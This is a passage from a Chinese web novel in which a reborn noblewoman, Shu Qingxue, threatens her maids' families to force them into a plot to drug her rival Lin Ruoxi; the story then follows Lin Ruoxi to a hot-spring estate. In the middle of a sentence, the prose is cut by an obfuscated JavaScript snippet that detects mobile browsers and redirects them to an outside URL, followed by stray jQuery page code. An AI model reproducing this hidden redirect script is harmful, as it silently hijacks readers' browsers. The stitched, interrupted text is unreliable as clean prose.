她生气自己得宫寒,却更生气林若溪逃过一劫,一点事都没有,得宫寒的反倒成了自己!
琴韵等人颤抖着身子,不敢回话。
“说话!”舒清雪气疯了,一把揪住琴韵的耳朵,迫使她不得不抬头,恶狠狠道。
琴韵浑身颤抖,哆哆嗦嗦道,“应,应该没事。”
如果有事,当时问情就不会是那副轻松的态度,还有闲心带着江太医来给小姐看诊。
“好好好,好的很呢,”舒清雪气得双眼发青,没想到自己重生一场,反而帮了林若溪那个贱人。
说起来,相比后期夺桃子的酉阳长公主,她更嫉恨林若溪。
谁让她处处和林若溪比,却处处都比不上,即便后期算计成功,可她的儿子上的却是林家族谱,祭奠的是林家先祖,上供的香火也是给林家先人的,和她舒清雪一点关系都没有。
这和过继出去有什么区别?
儿子和孙子要一辈子给那个女人上香祭拜,反倒她这个亲生母亲像个外人,连见面都是偷偷摸摸。
等到她老了,没姿色了,侯逸那个混蛋不爱找她了,连见儿子一面都难,就更不用说孙子孙女了,反而被警告要避嫌。
所以她越想越觉得自己是个大冤种,成了帮林若溪生孩子的人。
尤其到了后期,她一个人待在空荡荡的亲王府,寂寞啃食着心灵,让她对林若溪的恨意越发强烈,认为都是她抢了自己的儿子。
所以重生后,她不仅要抢走林若溪的丈夫,还要让她得宫寒,一辈子生不出儿子,也尝尝那种深入骨髓的寂寞滋味。
可令她没想到的是,竟然是自己中招了,林若溪反倒一点事都没有!
她如何肯甘心?
舒清雪都快气疯了,眼眶渐渐通红,“林若溪,我不好,你也别想好过!”
她决定了,一定要让林若溪重蹈覆辙,不,还要更严重点,最好躺在床上起不来。
如果没有重生,她根本做不到,昭华郡主府的篱笆扎得紧,想探听消息都难,更不用说做点什么了。
但她重生而来,知道一些后面会发生的事情。
就比如,林若溪身边有一个负责膳食的丫鬟叫莲蓉,因为手艺好,被选在她身边伺候。
这丫鬟是买来的,家里还有一个哥哥和妹妹。
她哥哥被人引诱赌博,欠了一百多两,被人追债到家里,把她母亲和妹妹抓走了,要拿人抵债。
莲蓉知道后,求了林若溪摆平此事,家人被安排离开京城,关在庄子上做事。
关了几年,莲蓉哥哥戒了赌,一家人过上安稳日子。
自此,莲蓉对林若溪忠心耿耿,因为一次意外,发现她和侯逸的私情,竟然想要揭发,被侯逸直接处理了。
这会儿,莲蓉哥哥还没有赌博呢,但是没关系,她可以派人做局,然后威胁莲蓉。
她是负责林若溪膳食的,下药一定能成功!
舒清雪眼底闪过阵阵疯狂,不顾一切想让林若溪倒霉。
她扭曲的面容吓得琴韵等人不敢说话,心底泛起一阵阵绝望,这下,恐怕真的没有活路了。
然而,舒清雪却只是轻飘飘的看了她们一眼,细声细气道,“琴韵,你父亲是大管家,想来手里人脉不少。书瑶,你哥哥是跟在兄长身边做事的,不想一家子受你连累吧?还有棋语和画苒,我的身体被你们这群蠢货毁了,要怎么惩罚你们呢?”
四个婢女噗通跪下,连连磕头,“小姐饶命啊,小姐我们错了。”
“错了就要弥补,”舒清雪眼底泛着寒光,一个个扫视过去,“我现在心情很不好,你们的命,还有你们家人的命......”
“小姐您吩咐,我们一定办好您交待的事,”四人哪里敢有迟疑,连连保证。
舒清雪从小被当做六皇子妃培养,身边伺候的下人都是香饽饽,哪怕是院子里洒扫的婆子,那都是舒家众多下人争相抢夺的,何况是贴身大丫鬟。
这四人,各个来历不凡。
琴韵是舒家大管家的女儿,书谣的父亲曾是舒大爷身边的贴身小厮,后被派出去当了产业大管事,于是她哥哥续上,成为舒清雪哥哥——舒家大少爷的书童兼小厮。
棋语是王夫人陪房的女儿,画苒的父母管理着她的嫁妆产业。
舒清雪虽然被禁足了,但有这四个大丫鬟在,想做点什么,通过她们的父兄,还是很容易的。
如果是平时,在舒老太爷有命令的情况下,她们自然不敢顶风冒险。
可这不是因为她们干的蠢事,害了大小姐嘛。
那大小姐报复起来,也是顺理成章,直接处理掉她们,然后以她们家人怨恨为由,说服王夫人换掉职位,也是轻而易举。
所以她们和家人不得不受舒清雪胁迫,帮她办事。
在这一点上,舒老太爷再精明也忽略了,更多的是没想到,这个家里,竟然还有人敢对他阳奉阴违。
当然,或许前世的舒清雪不敢,可重生后,当了几十年亲王府的舒清雪早就不惧祖父权威了。
她连身为皇家儿媳,与人苟合生子都做过了,哪里有多少敬畏心。
之前那翻表现,不过是人在屋檐下的权宜之计罢了。
其实,她的胆大早就养成,甚至因为重生,了解后世,生出更多的狂妄,不认为自己会有错。
琴韵四人没办法,听完舒清雪的计划,又惊惧又害怕,却不敢拒绝。
而她们的父兄,在听完她们的转述后,对这个放肆大胆的小姐恼怒不已。
但就像舒清雪笃定的那样,他们不敢赌,因为王夫人是真的可能换掉他们,不为别的,他们的女儿妹妹酿下大错这一点,就够他们喝一壶的。
无奈,也只好答应。
且为了事后不被查出来,他们颇费了一番手段,到真给林若溪造成了不小的麻烦。
林若溪虽然有防备,但没想到舒清雪这般仇恨原主,甚至到了丧心病狂,不管不顾的程度。
明明前世她才是那个胜利者,结果却觉得是林若溪抢走了自己的儿子,可真是人心易变,自私且不可理喻。
或许在舒清雪看来,她只是简单的泄愤而已,并不觉得自己出手会被发现。
毕竟她的思维还停留在,前世被她轻易糊弄的原主身上,以至于忽略了这事暴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15228007|165262||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
露后,会造成多大的轰动。
她一直以胜利者和上位者的姿态去俯视林若溪,所以才能如此轻松地决定害人,而忘了去思考可能造成的后果。
而林若溪这里,没想到舒清雪的心性经历重生后,变得如此狂妄,唯我独尊。
要是知道,肯定会更谨慎些。
然而此时,她只是裹着厚厚的大衣,坐上暖烘烘的马车,一路晃悠悠往小汤山温泉庄子而去。
出京时,恰好看到了策马扬鞭,犹如一阵疾风,疾驰归京的六皇子。
那意气风发,肆意飞扬的少年郎,亮丽得如同一道璀璨的霞光,瞬间攫取所有人的目光。
林若溪看得啧啧称奇,也不由赞叹,确实好看的过分!
忍不住看向林如清,指指点点,“你不是要比过六皇子,坐在马车里算怎么回事,瞧瞧人家那身姿,多潇洒啊。”
打马游街,飞驰人生,多么耀眼!
林如清瞄了一眼,不以为意道,“哪里好看了,肯定好几天没洗漱休息了,整个人风尘仆仆的,衣服上都是灰尘,多脏啊!”
林若溪讶异,“速度这么快,你也能看清?”
这是什么眼神,反正不是她前世八百度近视能比的,也不是她现在这幅柔弱的身躯能有的。
林如清翻了个白眼,“看不清,但想也知道,他此时就进京了,肯定连夜赶路,连续奔袭几天几夜,谁也好看不起来。”
林若溪一愣,突然想到书里六皇子是年节宫宴当天回的京城,一回京就进宫拜见皇帝,禀明西北局势紧张,秦老将军病重,请旨代为镇守西北边关,弄得皇帝很不高兴,宫宴上都没个笑模样。
而六皇子也因为请旨,让太子和众位皇子认为他想染指兵权,在宫宴上一再针对,把所有人的注意力都吸引过去了。
而侯逸便是趁着这个机会,见到了四皇子的孩子,两人在角落嘀嘀咕咕好一会儿,因此引起四皇子注意。
可现在距离宫宴还有半个月呢,六皇子怎么就回京了?
莫非西北出了意外?
林如清显然也想到了这一层,当即掀开帘子,吩咐自己的小厮,关注宫里消息。
他林家是不可能再掌兵权了,但他们家在军中还有不少势力,关注边境局势,是自然而然的反应。
吩咐完,马车并没有停留,继续往小汤山而去。
今天是难得的大晴天,温暖的阳光照着,一路畅通无阻,下午便赶到了庄子。
得知他们要来,太妃和侯夫人欣喜万分,早早就吩咐下人备好院落,热水和吃食。
两人直接进到后院,拜见长辈。
然而叫他们意外的是,长辈身边竟然还有外人在场,是一位丰神俊朗,风度翩翩的年轻书生,相貌出众,气质非凡,宛若龙章凤姿,令人见之难忘。
两人一见,心中已大致猜到了是怎么回事。
林如清打趣地看了姐姐一眼,上前笑着行礼,“不知这位是?”
那书生闻言,顺势站起身来,向他们行礼的同时,目光不经意间扫了林若溪一眼,随即便垂下眼帘,目光克制而矜持,举止有礼,让人心生好感。